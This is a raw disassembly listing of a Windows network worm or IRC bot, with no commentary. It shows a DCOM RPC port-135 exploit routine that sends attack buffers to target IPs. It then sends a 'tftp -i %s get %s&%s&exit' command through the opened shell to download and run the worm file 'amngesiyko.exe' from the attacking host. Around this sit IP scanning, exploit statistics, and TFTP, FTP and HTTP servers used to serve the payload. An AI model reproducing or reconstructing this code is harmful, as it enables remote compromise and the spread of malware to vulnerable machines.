ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_401F99 ; --------------------------------------------------------------------------- loc_401F43: ; CODE XREF: sub_401B9B+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_43544C push eax call sub_418A00 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_418A00 push 90h lea eax, [ebp+var_245C] push offset off_4354CC push eax call sub_418A00 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_401F99: ; CODE XREF: sub_401B9B+3A6j push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_401E26 push 12Ch call ds:dword_4942D8 sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_401A3C add esp, 0BCh test al, al setnz al loc_401FD5: ; CODE XREF: sub_401B9B+28Dj pop edi pop esi pop ebx leave retn sub_401B9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FDA proc near ; CODE XREF: .text:00401776p var_854 = byte ptr -854h var_810 = byte ptr -810h var_214 = byte ptr -214h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_14] push edi push eax mov [ebp+var_4], edi call sub_4189A0 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_44B700 ; inet_addr push [ebp+arg_A0] mov [ebp+var_10], eax call dword_44B6C0 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax call dword_44B740 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4020D3 lea eax, [ebp+var_14] push 10h push eax push ebx call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jz loc_4020D3 push edi push 89h push offset dword_4350C0 push ebx call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_4020D3 mov esi, 640h push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_44B6D8 ; recv push edi push 0A8h push offset dword_43514C push ebx call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_4020D3 push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_44B6D8 ; recv push edi push 0DEh push offset dword_4351F8 push ebx call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_4020D3 push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_44B6D8 ; recv movsx eax, [ebp+var_810] sub eax, 30h jz short loc_4020DD dec eax jz short loc_4020DA loc_4020D3: ; CODE XREF: sub_401FDA+54j ; sub_401FDA+6Aj ... xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_4020DA: ; CODE XREF: sub_401FDA+F7j push edi jmp short loc_402101 ; --------------------------------------------------------------------------- loc_4020DD: ; CODE XREF: sub_401FDA+F4j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_401B9B add esp, 0C4h test al, al jnz short loc_402121 push 1 loc_402101: ; CODE XREF: sub_401FDA+101j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_401B9B add esp, 0C4h test al, al jz short loc_402128 loc_402121: ; CODE XREF: sub_401FDA+123j mov [ebp+var_4], 1 loc_402128: ; CODE XREF: sub_401FDA+145j push ebx call dword_44B758 ; closesocket cmp [ebp+var_4], 0 jz short loc_40219D lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset aSExploitingI_1 ; "[%s]: Exploiting IP: %s." lea eax, [ebp+var_214] push 200h push eax call sub_418EF0 push 0 lea eax, [ebp+var_214] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_40842D lea eax, [ebp+var_214] push eax call sub_4035E1 mov eax, [ebp+arg_A8] add esp, 2Ch imul eax, 3Ch inc dword_436160[eax] lea eax, dword_436160[eax] loc_40219D: ; CODE XREF: sub_401FDA+159j push 1 pop eax loc_4021A0: ; CODE XREF: sub_401FDA+FBj pop edi pop esi pop ebx leave retn sub_401FDA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 8D68h call sub_418D40 mov eax, dword_4360DC push ebx push esi push edi mov [ebp-18h], eax mov eax, dword_4360E0 push 1 mov [ebp-14h], eax pop edi lea eax, [ebp+0Ch] push edi push eax call sub_4064A6 xor ebx, ebx pop ecx cmp eax, ebx pop ecx jz loc_4024AC cmp eax, edi jz loc_4024AC cmp eax, 3 jnz short loc_4021F0 mov [ebp-4], ebx jmp short loc_402204 ; --------------------------------------------------------------------------- loc_4021F0: ; CODE XREF: .text:004021E9j call sub_419000 push 0Ah cdq pop ecx idiv ecx neg edx sbb edx, edx inc edx inc edx mov [ebp-4], edx loc_402204: ; CODE XREF: .text:004021EEj lea eax, [ebp+0Ch] push eax push offset aSIpc_0 ; "\\\\%s\\ipc$" lea eax, [ebp-60h] push 28h push eax call sub_418EF0 add esp, 10h xor esi, esi lea eax, [ebp-127h] loc_402223: ; CODE XREF: .text:00402232j mov cl, [ebp+esi-60h] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_402223 push 60h lea eax, [ebp-0D8h] push offset dword_435C38 push eax call sub_418A00 lea eax, [ebp-60h] push eax call sub_418E70 shl eax, 1 push eax lea eax, [ebp-128h] push eax lea eax, [ebp-0A8h] push eax call sub_418A00 add esp, 1Ch lea eax, [ebp-60h] push 9 push (offset aC_3+3) push eax call sub_418E70 pop ecx lea eax, [ebp+eax*2-0A9h] push eax call sub_418A00 lea eax, [ebp-60h] push eax call sub_418E70 add al, 1Ah push edi shl al, 1 mov [ebp-5], al lea eax, [ebp-5] push eax lea eax, [ebp-0D5h] push eax call sub_418A00 lea eax, [ebp-60h] push eax call sub_418E70 shl al, 1 add al, 9 push edi mov [ebp-6], al lea eax, [ebp-6] push eax lea eax, [ebp-0ABh] push eax call sub_418A00 add esp, 2Ch push 135h call dword_44B6C0 ; htons xor eax, 9999h push 2 mov [ebp-10h], eax lea eax, [ebp-10h] push eax push offset dword_435938 call sub_418A00 add esp, 0Ch cmp [ebp-4], edi jz short loc_402360 cmp dword ptr [ebp-4], 2 jz short loc_402360 push 7D0h lea eax, [ebp-12C8h] push 90h push eax call sub_4189A0 mov esi, offset dword_435888 push esi call sub_418E70 push eax lea eax, [ebp-1228h] push esi push eax call sub_418A00 lea eax, [ebp-18h] push eax call sub_418E70 push eax lea eax, [ebp-18h] push eax lea eax, [ebp-0B0Ch] push eax call sub_418A00 mov eax, [ebp-4] add esp, 2Ch imul eax, 3Ch mov eax, dword_436060[eax] mov [ebp-0B1Ch], eax jmp loc_402439 ; --------------------------------------------------------------------------- loc_402360: ; CODE XREF: .text:004022F5j ; .text:004022FBj mov edi, 0DACh lea eax, [ebp-2078h] push edi push 90h push eax call sub_4189A0 mov eax, [ebp-4] push 4 imul eax, 3Ch lea eax, dword_436060[eax] mov [ebp-0Ch], eax push eax lea eax, [ebp-1894h] push eax call sub_418A00 mov esi, offset dword_435888 push esi call sub_418E70 push eax lea eax, [ebp-1884h] push esi push eax call sub_418A00 push 4 lea eax, [ebp-1560h] push offset dword_4360F0 push eax call sub_418A00 push 4 lea eax, [ebp-155Ch] push dword ptr [ebp-0Ch] push eax call sub_418A00 add esp, 40h push esi call sub_418E70 push eax lea eax, [ebp-1550h] push esi push eax call sub_418A00 add esp, 10h xor esi, esi lea eax, [ebp-4BB7h] loc_4023F4: ; CODE XREF: .text:00402405j mov cl, [ebp+esi-2078h] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4023F4 mov esi, 1C52h lea eax, [ebp-8D68h] push esi push 31h push eax mov [ebp-3060h], bl mov [ebp-305Fh], bl call sub_4189A0 push esi lea eax, [ebp-6C90h] push 31h push eax call sub_4189A0 add esp, 18h loc_402439: ; CODE XREF: .text:0040235Bj push 0E29h lea eax, [ebp-305Ch] push 31h push eax call sub_4189A0 add esp, 0Ch push ebx push 1 push 2 call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4024AC push 10h lea eax, [ebp-28h] push ebx push eax call sub_4189A0 add esp, 0Ch mov word ptr [ebp-28h], 2 push dword ptr [ebp+0A8h] call dword_44B6C0 ; htons mov [ebp-26h], ax lea eax, [ebp+0Ch] push eax call dword_44B700 ; inet_addr mov [ebp-24h], eax lea eax, [ebp-28h] push 10h push eax push edi call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4024B3 loc_4024A5: ; CODE XREF: .text:004024C8j ; .text:004024F4j ... push edi loc_4024A6: ; CODE XREF: .text:00402747j ; .text:004027C6j call dword_44B758 ; closesocket loc_4024AC: ; CODE XREF: .text:004021D8j ; .text:004021E0j ... xor eax, eax loc_4024AE: ; CODE XREF: .text:0040284Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4024B3: ; CODE XREF: .text:004024A3j push ebx push 89h push offset dword_435A20 push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_4024A5 mov esi, 640h push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 0A8h push offset dword_435AAC push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 0DEh push offset dword_435B58 push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv movsx eax, byte ptr [ebp-5] add eax, 4 push ebx push eax lea eax, [ebp-0D8h] push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 68h push offset dword_435C9C push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 0A0h push offset dword_435D08 push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv cmp dword ptr [ebp-4], 1 jz short loc_402617 cmp dword ptr [ebp-4], 2 jz short loc_402617 push 7Ch lea eax, [ebp-305Ch] push offset dword_435DAC push eax call sub_418A00 lea eax, [ebp-12C8h] push 7D0h push eax lea eax, [ebp-2FE0h] push eax call sub_418A00 push 90h lea eax, [ebp-2810h] push offset off_435E2C push eax call sub_418A00 add esp, 24h mov [ebp-2365h], bl lea eax, [ebp-305Ch] push ebx push 0CF8h jmp loc_4026BF ; --------------------------------------------------------------------------- loc_402617: ; CODE XREF: .text:004025B4j ; .text:004025BAj push 68h lea eax, [ebp-8D68h] push offset dword_435EC0 push eax call sub_418A00 lea eax, [ebp-4BB8h] push 1B5Ah push eax lea eax, [ebp-8D00h] push eax call sub_418A00 push 70h lea eax, [ebp-6C90h] push offset dword_435F2C push eax call sub_418A00 lea eax, [ebp-3B24h] push 0A5Eh push eax lea eax, [ebp-6C20h] push eax call sub_418A00 push 84h lea eax, [ebp-615Ch] push offset dword_435FA0 push eax call sub_418A00 add esp, 3Ch lea eax, [ebp-8D68h] push ebx push 10FCh push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 0FDCh lea eax, [ebp-6C90h] loc_4026BF: ; CODE XREF: .text:00402612j push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_4024A5 push ebx lea eax, [ebp-0AF8h] push esi push eax push edi call dword_44B6D8 ; recv push 6 push 1 push 2 call dword_44B740 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_4024A5 push 10h lea eax, [ebp-38h] push ebx push eax call sub_4189A0 add esp, 0Ch mov word ptr [ebp-38h], 2 push 135h call dword_44B6C0 ; htons mov [ebp-36h], ax lea eax, [ebp+0Ch] push eax call dword_44B700 ; inet_addr mov [ebp-34h], eax lea eax, [ebp-38h] push 10h push eax push dword ptr [ebp-4] call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40274C push edi call dword_44B758 ; closesocket push dword ptr [ebp-4] jmp loc_4024A6 ; --------------------------------------------------------------------------- loc_40274C: ; CODE XREF: .text:0040273Bj push ebx push esi mov esi, [ebp-4] lea eax, [ebp-0AF8h] push eax push esi call dword_44B6D8 ; recv test eax, eax jle loc_4024AC push 1F4h call ds:dword_4942D8 mov eax, offset aAmngesiyko_exe ; "amngesiyko.exe" push eax push eax push dword ptr [ebp+8] call sub_40AFEC pop ecx push eax push offset aTftpISGetSSExi ; "tftp -i %s get %s&%s&exit\n" lea eax, [ebp-2B8h] push 190h push eax call sub_418EF0 add esp, 18h lea eax, [ebp-2B8h] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp-2B8h] push eax push esi call dword_44B710 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_4027CB call dword_44B758 ; closesocket push esi jmp loc_4024A6 ; --------------------------------------------------------------------------- loc_4027CB: ; CODE XREF: .text:004027BDj call dword_44B758 ; closesocket push esi call dword_44B758 ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset aSTryingSploitI ; "[%s]: Trying Sploit IP: %s." lea eax, [ebp-4B8h] push 200h push eax call sub_418EF0 add esp, 14h cmp [ebp+0BCh], ebx jnz short loc_402829 push ebx lea eax, [ebp-4B8h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40842D add esp, 14h loc_402829: ; CODE XREF: .text:0040280Aj lea eax, [ebp-4B8h] push eax call sub_4035E1 mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_436160[eax] push 1 lea eax, dword_436160[eax] pop eax jmp loc_4024AE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402853 proc near ; CODE XREF: sub_40C50A+5D5Dp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:" push eax xor ebx, ebx call sub_418D70 cmp dword_436158, ebx pop ecx pop ecx mov edi, 200h jz short loc_4028C1 push esi mov esi, offset dword_436160 loc_402886: ; CODE XREF: sub_402853+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_418D70 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_419040 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_402886 pop esi loc_4028C1: ; CODE XREF: sub_402853+2Bj push dword_491BE8 call sub_415273 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_418D70 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_419040 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D lea eax, [ebp+var_200] push eax call sub_4035E1 add esp, 38h pop edi pop ebx leave retn sub_402853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40291D proc near ; CODE XREF: sub_40C50A+56BCp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416433 test eax, eax pop ecx jle short loc_402959 mov eax, [ebp+arg_C] push dword_4443B8[eax*8] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_200] push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s." push eax call sub_418D70 add esp, 0Ch jmp short loc_40296C ; --------------------------------------------------------------------------- loc_402959: ; CODE XREF: sub_40291D+13j lea eax, [ebp+var_200] push offset aScanScanNotAct ; "[SCAN]: Scan not active." push eax call sub_418D70 pop ecx pop ecx loc_40296C: ; CODE XREF: sub_40291D+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D lea eax, [ebp+var_200] push eax call sub_4035E1 add esp, 18h leave retn sub_40291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402994 proc near ; CODE XREF: sub_40328A+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_402D24 imul eax, 3Ch xor ebx, ebx cmp dword_436164[eax], ebx jz loc_402C05 push 4 call sub_416433 test eax, eax pop ecx jnz loc_402D24 mov eax, dword_43E1A0 push edi mov edi, offset dword_445374 push 104h push edi push ebx mov dword_445584, eax mov dword_445580, ebx call ds:dword_4942F8 push 103h mov esi, offset dword_445478 push offset aAmngesiyko_exe ; "amngesiyko.exe" push esi call sub_4191A0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_445370, eax mov eax, [ebp+arg_138] push 7Fh mov dword_445608, eax jnz short loc_402A47 lea eax, [ebp+arg_10] push eax push offset dword_445588 call sub_4191A0 add esp, 0Ch mov dword_44560C, 1 jmp short loc_402A61 ; --------------------------------------------------------------------------- loc_402A47: ; CODE XREF: sub_402994+94j lea eax, [ebp+arg_90] push eax push offset dword_445588 call sub_4191A0 add esp, 0Ch mov dword_44560C, ebx loc_402A61: ; CODE XREF: sub_402994+B1j push esi push edi push dword_445584 lea eax, [ebp+var_204] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_418D70 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_4161EB add esp, 20h mov dword_44557C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_445370 push offset sub_415CF4 push ebx push ebx call ds:dword_4942F4 mov ecx, dword_44557C imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_402AD0 loc_402ABE: ; CODE XREF: sub_402994+13Aj cmp dword_445610, ebx jnz short loc_402AEB push 32h call ds:dword_4942D8 jmp short loc_402ABE ; --------------------------------------------------------------------------- loc_402AD0: ; CODE XREF: sub_402994+128j call ds:dword_4942F0 push eax lea eax, [ebp+var_204] push offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "... push eax call sub_418D70 add esp, 0Ch loc_402AEB: ; CODE XREF: sub_402994+130j lea eax, [ebp+var_204] push eax call sub_4035E1 mov edi, offset dword_4459CC mov [esp+210h+var_210], 104h push edi push ebx mov dword_445BD8, ebx call ds:dword_4942F8 push 103h mov esi, offset dword_445AD0 push offset aAmngesiyko_exe ; "amngesiyko.exe" push esi call sub_4191A0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4459C8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_445C60, eax jnz short loc_402B66 lea eax, [ebp+arg_10] push eax push offset dword_445BE0 call sub_4191A0 add esp, 0Ch mov dword_445C64, 1 jmp short loc_402B80 ; --------------------------------------------------------------------------- loc_402B66: ; CODE XREF: sub_402994+1B3j lea eax, [ebp+arg_90] push eax push offset dword_445BE0 call sub_4191A0 add esp, 0Ch mov dword_445C64, ebx loc_402B80: ; CODE XREF: sub_402994+1D0j push esi push edi push dword_445BDC lea eax, [ebp+var_204] push offset aFtpServerStart ; "[FTP]: Server started on Port: %d, File"... push eax call sub_418D70 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_4161EB add esp, 20h mov dword_445BD4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4459C8 push offset sub_406614 push ebx push ebx call ds:dword_4942F4 mov ecx, dword_445BD4 pop edi imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_402BF4 loc_402BDE: ; CODE XREF: sub_402994+25Ej cmp dword_445C68, ebx jnz loc_402D17 push 32h call ds:dword_4942D8 jmp short loc_402BDE ; --------------------------------------------------------------------------- loc_402BF4: ; CODE XREF: sub_402994+248j call ds:dword_4942F0 push eax push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"... jmp loc_402D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_402994+25j cmp dword_436168[eax], ebx jz loc_402D24 push 3 call sub_416433 test eax, eax pop ecx jnz loc_402D24 mov esi, offset dword_4458A4 push 104h push esi push ebx call ds:dword_4942F8 push 5Ch push esi call sub_419170 pop ecx cmp eax, ebx pop ecx jz short loc_402C43 mov [eax], bl loc_402C43: ; CODE XREF: sub_402994+2ABj mov eax, dword_43E1A4 mov dword_4459BC, ebx mov dword_4459A8, eax lea eax, [ebp+arg_10] push eax push offset dword_44561C call sub_418D70 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_445618, eax mov ecx, [ebp+arg_138] push esi push dword_4459A8 mov dword_4459B4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4459B8, ecx call sub_40AFEC pop ecx push eax lea eax, [ebp+var_204] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_418D70 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_4161EB add esp, 20h mov dword_4459B0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_445618 push offset sub_406D34 push ebx push ebx call ds:dword_4942F4 mov ecx, dword_4459B0 imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_402CFC loc_402CEA: ; CODE XREF: sub_402994+366j cmp dword_4459C4, ebx jnz short loc_402D17 push 32h call ds:dword_4942D8 jmp short loc_402CEA ; --------------------------------------------------------------------------- loc_402CFC: ; CODE XREF: sub_402994+354j call ds:dword_4942F0 push eax push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"... loc_402D08: ; CODE XREF: sub_402994+26Cj lea eax, [ebp+var_204] push eax call sub_418D70 add esp, 0Ch loc_402D17: ; CODE XREF: sub_402994+250j ; sub_402994+35Cj lea eax, [ebp+var_204] push eax call sub_4035E1 pop ecx loc_402D24: ; CODE XREF: sub_402994+14j ; sub_402994+35j ... pop esi pop ebx leave retn sub_402994 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D28 proc near ; CODE XREF: sub_403076:loc_4030E7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4443B8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_418A00 add esp, 0Ch push [ebp+arg_0] call dword_44B5F4 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_44B6BC ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_418A00 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_402D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D70 proc near ; CODE XREF: sub_403076+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_418E70 cmp eax, 0Fh pop ecx jbe short loc_402D98 xor eax, eax jmp short loc_402E09 ; --------------------------------------------------------------------------- loc_402D98: ; CODE XREF: sub_402D70+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_4192A0 add esp, 18h cmp [ebp+var_C], esi jnz short loc_402DC5 call sub_419000 mov [ebp+var_C], eax loc_402DC5: ; CODE XREF: sub_402D70+4Bj cmp [ebp+var_8], esi jnz short loc_402DD2 call sub_419000 mov [ebp+var_8], eax loc_402DD2: ; CODE XREF: sub_402D70+58j cmp [ebp+var_4], esi jnz short loc_402DDF call sub_419000 mov [ebp+var_4], eax loc_402DDF: ; CODE XREF: sub_402D70+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_402DEB call sub_419000 loc_402DEB: ; CODE XREF: sub_402D70+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4443B8[ecx*8], eax loc_402E09: ; CODE XREF: sub_402D70+26j pop esi leave retn sub_402D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E0C proc near ; CODE XREF: sub_403076+B8p ; sub_4064A6+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_44B740 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_402E35 xor eax, eax jmp short loc_402EA4 ; --------------------------------------------------------------------------- loc_402E35: ; CODE XREF: sub_402E0C+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_44B6C0 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_44B75C ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_44B668 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_44B6A8 ; select push esi mov edi, eax call dword_44B758 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_402EA4: ; CODE XREF: sub_402E0C+27j pop edi pop esi pop ebx leave retn sub_402E0C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call sub_418D40 push ebx push esi push edi mov edi, 2649h push edi call dword_44B6C0 ; htons push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_44B6C0 ; htons mov [ebp-26h], ax call sub_419000 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_44B6C0 ; htons mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_44B6C0 ; htons mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call sub_418A00 lea eax, [ebp-58h] push 20h push eax call sub_40B045 mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_4189A0 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_44B6C0 ; htons push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_44B740 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_402FA8 push offset aSocketOpenFail ; "socket open failed" jmp loc_403069 ; --------------------------------------------------------------------------- loc_402FA8: ; CODE XREF: .text:00402F9Cj push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_44B724 ; sendto cmp eax, 14h mov [ebp+10h], eax jz short loc_402FF1 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_418D70 lea eax, [ebp-0D8h] push eax call sub_4035E1 add esp, 14h jmp short loc_40303A ; --------------------------------------------------------------------------- loc_402FF1: ; CODE XREF: .text:00402FC3j push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_4189A0 add esp, 0Ch loc_403006: ; CODE XREF: .text:0040302Dj cmp [ebp-100FAh], di jz short loc_403043 lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_44B698 ; recvfrom test eax, eax jge short loc_403006 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4035E1 pop ecx 